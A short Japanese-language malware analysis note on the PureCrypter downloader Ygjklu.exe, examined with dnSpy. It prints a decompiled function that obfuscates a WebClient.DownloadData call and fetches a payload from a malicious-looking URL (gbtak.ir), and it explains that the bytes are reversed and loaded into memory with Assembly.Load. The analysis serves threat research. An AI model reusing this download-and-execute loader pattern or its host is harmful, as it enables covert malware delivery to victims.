PureCrypter
https://www.zscaler.com/jp/blogs/security-research/technical-analysis-purecrypter
- 4a88f9feaed04917f369fe5089f5c09f791bf1214673f6313196188e98093d74
7-Zipで展開すると、63342221.BATが確認できる。
このファイルが.NETでビルドされたEXEのダウンローダ(Ygjklu.exe)。
Ygjklu.exe
dnSpyで確認すると、WindowsFormsApp37.StubPolicyRecord内にMain()が確認できる。
Main()ではExporterPolicyAttributeクラスのインスタンスを生成し、以下の関数が呼ばれる。
- InitProcess()
- CollectProcess()
- SortProcess()
- ResolveProcess()
CollectProcess()内でPopProcess()が呼ばれる。
internal byte[] PopProcess()
{
return (byte[])typeof(WebClient).GetMethod(ExporterPolicyAttribute.ListCallback("DzveDowDzvenlDzveoadDDzveataDzve", "Dzve", ""), new Type[] { typeof(string) }).Invoke(new WebClient(), new object[] { "http://gbtak.ir/wp-content/Ygjklu.log" });
}
ExporterPolicyAttribute.ListCallback()では第一引数の文字列に対して、第二引数の文字列を第三引数の文字列に置き換える。
このため、GetMethodの引数はDownloadDataとなり、http://gbtak.ir/wp-content/Ygjklu.logから次のファイルがダウンロードされ、array変数に格納される。
その後、CollectProcess()ではExporterPolicyAttribute.DisableCallback(array, 0, array.Length)が呼ばれ、内部でArray.Reverse()が呼ばれるため、arrayのバイト列が反転される。
そして、ExporterPolicyAttribute.FindCallback(array)が呼ばれ、内部でAssembly.Load()が呼ばれるため、arrayがメモリ上にロードされる。